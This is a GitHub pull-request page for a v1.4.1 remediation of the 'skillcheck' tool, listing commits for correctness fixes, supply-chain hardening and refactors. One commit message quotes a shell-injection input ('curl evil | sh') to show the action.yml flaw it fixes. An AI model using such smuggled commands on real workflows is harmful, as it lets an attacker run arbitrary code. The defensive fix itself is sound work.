Skip to content

Remediation pass: correctness, supply-chain, debt reduction (v1.4.1)#11

Merged
moonrunnerkc merged 37 commits into
mainfrom
remediation-v1.4.1
Jul 9, 2026
Merged

Remediation pass: correctness, supply-chain, debt reduction (v1.4.1)#11
moonrunnerkc merged 37 commits into
mainfrom
remediation-v1.4.1

Conversation

@moonrunnerkc

Copy link
Copy Markdown
Owner

Remediation pass targeting v1.4.1. 37 commits, one logical change each, every finding backed by before/after evidence in REMEDIATION-EVIDENCE.md.

What's here

  • Phase 1 — correctness hotfixes (7): non-dict frontmatter crash, unescaped ... in template detection, multi-skill ingest stamping, malformed-ledger TypeError, duplicate allowed-tools graph crash, emit/re-parse tracebacks, Codex provenance date mislabel.
  • Phase 2 — supply-chain hardening (8): terminal-escape sanitization of ingested responses, ingest size/list caps, schema additionalProperties, action.yml shell-injection fix (inputs via env:), real tag-triggered release.yml with attestation + PyPI trusted publishing, SHA-pinned actions, pre-commit in the dev extra, verify-release build gate.
  • Phase 3 — pure refactors, zero behavior change: frontmatter-block dedup, shared ingest helpers, dead-code removal (core/reporter.py, merge_critique_diagnostics), module decomposition (graph_model.py, history_io.py, hoisted CLI table, split run_validation), scripts gated under ruff+mypy.
  • Phase 4 — polish (stays [Unreleased]): GHA annotation escaping split, YAML-anchor detection via event stream, ledger fsync + stale-temp sweep, config_loader hardening, plus the 4.5 batch (empty frontmatter, symlink-safe scan, per-table bloat, Typing :: Typed, tiktoken doc, relative reference paths).

Version bumped to 1.4.1 in pyproject.toml, __init__.py, the self-host SKILL.md, and the README pre-commit rev: (guarded by test_version_coherence). README test count synced to 832.

Local gate (Linux)

pytest tests/ -q → 832 passed, 0 skipped · ruff check src tests scripts clean · mypy clean (51 files) · make verify-release builds the 1.4.1 sdist+wheel · every workflow action SHA-pinned.

Reviewer notes

  • Hold merge until the full CI matrix is green. Everything above ran on Linux only; this changeset touches the areas that historically broke Windows CI here — the new os.walk(followlinks=False) directory scan, encoding paths, and the save_ledger fsync. The Windows/macOS legs see these commits for the first time on this PR.
  • scripts/skillcheck_case_study_report.py was a pre-existing untracked artifact the directory-scoped ruff gate silently depended on; it's now committed and fully ruff+mypy gated (type annotations + one loop-variable rename only). Its stale EXPECTED_VERSION = "skillcheck 1.1.0" and network-clone logic were left untouched — worth a glance so the version pin doesn't fossilize.

Release sequence (after merge)

  1. Configure PyPI trusted publishing (project skillcheck, owner moonrunnerkc, workflow release.yml, environment pypi).
  2. Tag v1.4.1 — first live run of release.yml; watch attestation + publish.
  3. gh attestation verify dist/skillcheck-*.whl --owner moonrunnerkc.

🤖 Generated with Claude Code

Brad Kinnard and others added 30 commits July 9, 2026 13:50
A bare scalar or list between the frontmatter delimiters passed through
yaml.safe_load and reached is_template(), which called .get() on a str
and crashed with an AttributeError traceback. parse() now validates the
loaded value is a mapping and raises ParseError naming the actual type
and path, so the pipeline renders a clean parse.error diagnostic.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The [...] branch of the bracketed-placeholder regex was unescaped, so
the three dots matched any three characters. Bracketed acronyms like
[ISO], [API], and [CLI] in a real skill description were misread as
placeholders, which suppressed the deployment-blocking ERROR checks
(directory-name match, VS Code dirname, description scoring). Escape it
to match the literal three-dot placeholder only.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
--ingest-critique and --ingest-graph parsed only the first resolved
path but merged that skill's critique/graph diagnostics into every
result, so a two-skill directory marked both files with one response's
findings. An agent response describes exactly one skill, so run_validation
now exits 2 with an error naming the flag and path count when an ingest
flag is combined with more than one resolved SKILL.md.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
load_ledger only guarded KeyError, so a non-object root or a non-list
runs field escaped as an uncaught TypeError. Validate the JSON root is a
dict, runs is a list, and each entry is well-formed, wrapping the entry
loop so a bad entry raises LedgerError with the delete-and-re-run
remediation. Also enforce the version field against LEDGER_SCHEMA_VERSION,
which was read but never checked, naming both versions on mismatch.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Tool nodes are content-hashed on the name alone, so allowed-tools:
[Bash, Bash] built two Input nodes with the same ID and tripped the
duplicate-node-ID guard in CapabilityGraph.__post_init__, crashing
--analyze-graph with an uncaught ValueError. Dedupe tool names with
dict.fromkeys before node creation, filtering non-str items first.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Emit modes and the history/ingest/analyze re-parse sites called the
parser without catching ParseError, so a non-UTF-8 file (or non-mapping
frontmatter) surfaced a traceback where plain validation renders a clean
FAIL. Add a _parse_or_exit helper that prints the message and exits 1,
and route every re-parse through it. read_ingest_raw now also catches
UnicodeDecodeError so a non-UTF-8 response file exits 2 cleanly.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
compat.py wired the Codex provenance date to _CLAUDE_DATA_DATE. The
mislabel was masked because all three provenance dates are currently
equal. Add _CODEX_DATA_DATE, use it for the Codex label, and assert the
constants independently: a freshness test plus a sentinel-based test that
proves the Codex label tracks the Codex date, not the Claude date.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Bump the README's test-count claim to 808 (guarded against drift) and
apply ruff's import ordering to commands.py after the ParseError import
added for the emit-mode fix.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Strings taken from critique/graph JSON printed straight into the report,
so a response carrying raw ANSI escapes could forge terminal output like
a fake PASS line. Add sanitize_ingested_text (escapes C0/DEL/C1 controls
to a visible form) and apply it where diagnostics are built from ingested
content and where the graph text render emits node names. The JSON path
is left untouched since json.dumps already escapes control characters.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
read_ingest_raw read stdin/file fully with no cap and the parsers put no
limit on list lengths, so a hostile or runaway response could exhaust
memory or downstream work. Reject payloads over 5 MiB (exit 2, naming the
size and cap; stdin read is bounded so it cannot fill memory first) and
cap every ingested list at 10,000 items in both parsers.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The critique and graph JSON Schemas lacked additionalProperties: false,
so a schema-valid response carrying an extra field could still fail
ingest, since both parsers reject unknown fields. Add the constraint to
every object (top level plus each nested item) and guard it with a
recursive test that walks every object subschema.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Every ${{ inputs.* }} expanded straight into the composite action's run
block, so an input like version: 1.0" ; curl evil | sh ; echo " broke
out and ran arbitrary commands. Map every input to an INPUT_* env var and
reference "$INPUT_*" in the script, where the value stays an inert
string. Behavior is unchanged.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
ci.yml never ran on tags, so its provenance attest step (gated on
refs/tags/v*) never fired despite the README claiming tagged releases
carry SLSA provenance. Add release.yml triggered on v*.*.* tags that
builds, attests via SHA-pinned attest-build-provenance, and publishes to
PyPI via trusted publishing (SHA-pinned gh-action-pypi-publish), with
least-privilege permissions. Remove the dead attest step from ci.yml and
document the one-time PyPI trusted-publishing setup in CONTRIBUTING.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Floating major-version tags (checkout@v4, setup-python@v5,
create-pull-request@v6) let a force-moved or compromised tag run with
the workflows' write permissions. Pin every action to a full commit SHA
resolved via git ls-remote, each with a trailing version comment.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
CONTRIBUTING claims CI installs pre-commit, but the dev extra omitted it,
so both test_pre_commit.py end-to-end tests skipped on every run
(including CI). Add pre-commit to the dev extra so the environment that
runs the suite has the binary the tests need.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The build check used 'command -v python3 -c import build', which only
resolves python3's path and never tests the build module, so the sdist
and wheel verification never meaningfully ran. Gate it on 'python3 -c
import build' instead. Add a VERSION-based drift grep asserting the
README pre-commit rev matches the pyproject version, and correct the
README rev from v1.3.0 to v1.4.0.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
_extract_frontmatter_raw (frontmatter_fields) and _extract_frontmatter_text
(disclosure) were byte-for-byte the same logic as frontmatter_common's
_frontmatter_block. Delete both and route the two callers through the
common helper. The indented --- opener acceptance is preserved. Pure
refactor; full suite unchanged.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The critique and graph parsers each carried a near-identical _require_field
and JSON-decode-with-preview block. Move both into agents/_ingest.py as
require_field(..., error_cls=...) and decode_json_or_raise(raw, error_cls);
each parser keeps a one-line binding to its own error class so call sites
are unchanged. The critique JSON-decode message adopts the graph wording;
exception types and asserted substrings are preserved.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
core/reporter.py was only exercised by test_v1_architecture; the CLI
renders through formatters.py. merge_critique_diagnostics was a thin
wrapper identical to merge_diagnostics. Delete both, inline the one
call site, and repoint the affected tests. The cli.py post-parse choice
re-validation flagged as dead is kept: config values are applied after
argparse and are only caught there, so it is reachable.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
_PAIRWISE_CONFLICTS and _die_on_mode_conflict were rebuilt inside main()
on every invocation. The table is static and the checker only needs args,
so move both to module level (checker now takes args explicitly). No
behavior change; the conflict messages and exit codes are identical.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
graph.py held both the data model and the heuristic extractor. Move the
frozen dataclasses (Capability, Input, Output, Edge, CapabilityGraph) to
core/graph_model.py; graph.py imports and re-exports them so every
existing import path (from skillcheck.core.graph import CapabilityGraph)
still resolves. graph.py 550 -> 469, graph_model.py 110. No behavior change.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
history.py mixed the model, regression, and rendering with the ledger
filesystem I/O. Move load_ledger, save_ledger, append_run, and
_entry_from_dict to core/history_io.py; the shared _entry_to_dict
serializer stays with the model (the JSON renderer needs it). history.py
re-exports the I/O names so from skillcheck.core.history import load_ledger
still resolves. history.py 539 -> 370, history_io.py 231. No behavior change.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
run_validation ran validation, exit-code computation, history recording,
and report printing in one long function. Extract _compute_exit_code,
_record_history, and _print_report; run_validation is now a short pipeline.
Behavior and exit codes are unchanged.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
CI ran ruff on src+tests and mypy on src/skillcheck only, so the utility
scripts were ungated (summarize_batch.py had import-order drift and bare
dict annotations). Type summarize_batch's JSON dicts as dict[str, Any],
add the two checked-in scripts to mypy's files list, and run
ruff check src tests scripts plus bare mypy in CI and the Makefile.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
_gha_escape applied property-value escaping to message text, so a colon
or comma in a diagnostic message printed as %3A/%2C in --format github.
Split _escape_data (message: %, CR, LF) from _escape_property (file and
title: also : and ,), per the Actions toolkit. Messages now render
literally; the title colon is now escaped as a property value should be.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The anchor/alias regexes scanned raw frontmatter text, so & and * inside
a quoted scalar (R&D, *only*) matched and produced a false
frontmatter.yaml-anchors warning. Walk the YAML event stream instead and
collect anchors from scalar/collection-start and alias events, so only
real anchors and aliases are reported.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
save_ledger renamed a temp file into place but never fsynced it, so a
crash could leave a truncated ledger. Add flush + os.fsync before
os.replace, sweep orphaned .skillcheck-tmp-* files on load, and document
the single-writer assumption in the module docstring. No file locking.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Four config fixes: type-error messages now include the offending value;
the 3.10 fallback parser strips inline comments quote-aware so a # inside
a quoted value survives; find_config stops at a .git root or the user's
home instead of walking to the filesystem root; and the CLI reports which
config file it loaded to stderr.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Brad Kinnard and others added 7 commits July 9, 2026 15:44
Two input-scanning fixes. The frontmatter regex required a newline
before the closing ---, so an empty ---\n--- block was not recognized
and leaked the delimiters into the body line count; the newline is now
optional. collect_paths used Path.rglob, which follows directory symlinks
on some Python versions; switch to os.walk(followlinks=False) so a
symlink into another tree cannot pull in foreign files or hang on a cycle.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
check_body_bloat matched every |-row in the body and summed them as one
table, so three small tables could exceed the row threshold and produce a
false 'N data rows' count. Group contiguous |-row runs and size each
table on its own.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
tiktoken downloads the cl100k_base vocabulary on first use, so the
estimate_tokens docstring's 'fully offline' was wrong; clarify that the
first run needs network (or a warm cache) and later runs are offline. Add
the Typing :: Typed classifier so PyPI shows the shipped py.typed marker.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Broken-reference and reference-escape diagnostics echoed the fully
resolved absolute path into their context, leaking the build machine's
directory layout into CI logs. Render the path relative to the skill dir
(scripts/foo.py, or ../.. for an escape) via a _relative_to_skill_dir
helper.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Bump version to 1.4.1 across pyproject.toml, __init__.py, the self-host
SKILL.md, and the README pre-commit rev. Restructure the CHANGELOG:
Phases 1-3 (correctness hotfixes, supply-chain hardening, debt reduction)
under [1.4.1]; Phase 4 polish stays under [Unreleased]. Sync the README
test count to 832.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
scripts/skillcheck_case_study_report.py was an untracked file that the
directory-scoped ruff gate silently depended on staying clean. Commit it
and add it to the mypy files list so it is gated like the other scripts.
Only type annotations and a loop-variable rename were applied (a 'count'
name clash pinned the variable to int); the stale EXPECTED_VERSION and
network-clone logic are left as-is for the maintainer to decide.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Running 'skillcheck <path> --history' writes a .skillcheck-history.json
next to the validated file, so invoking the tool on a repo file drops an
untracked ledger that must never be committed. The named history fixtures
(ledger_*.json) are unaffected.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@moonrunnerkc moonrunnerkc merged commit 015763b into main Jul 9, 2026
14 checks passed
@moonrunnerkc moonrunnerkc deleted the remediation-v1.4.1 branch July 9, 2026 22:50
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant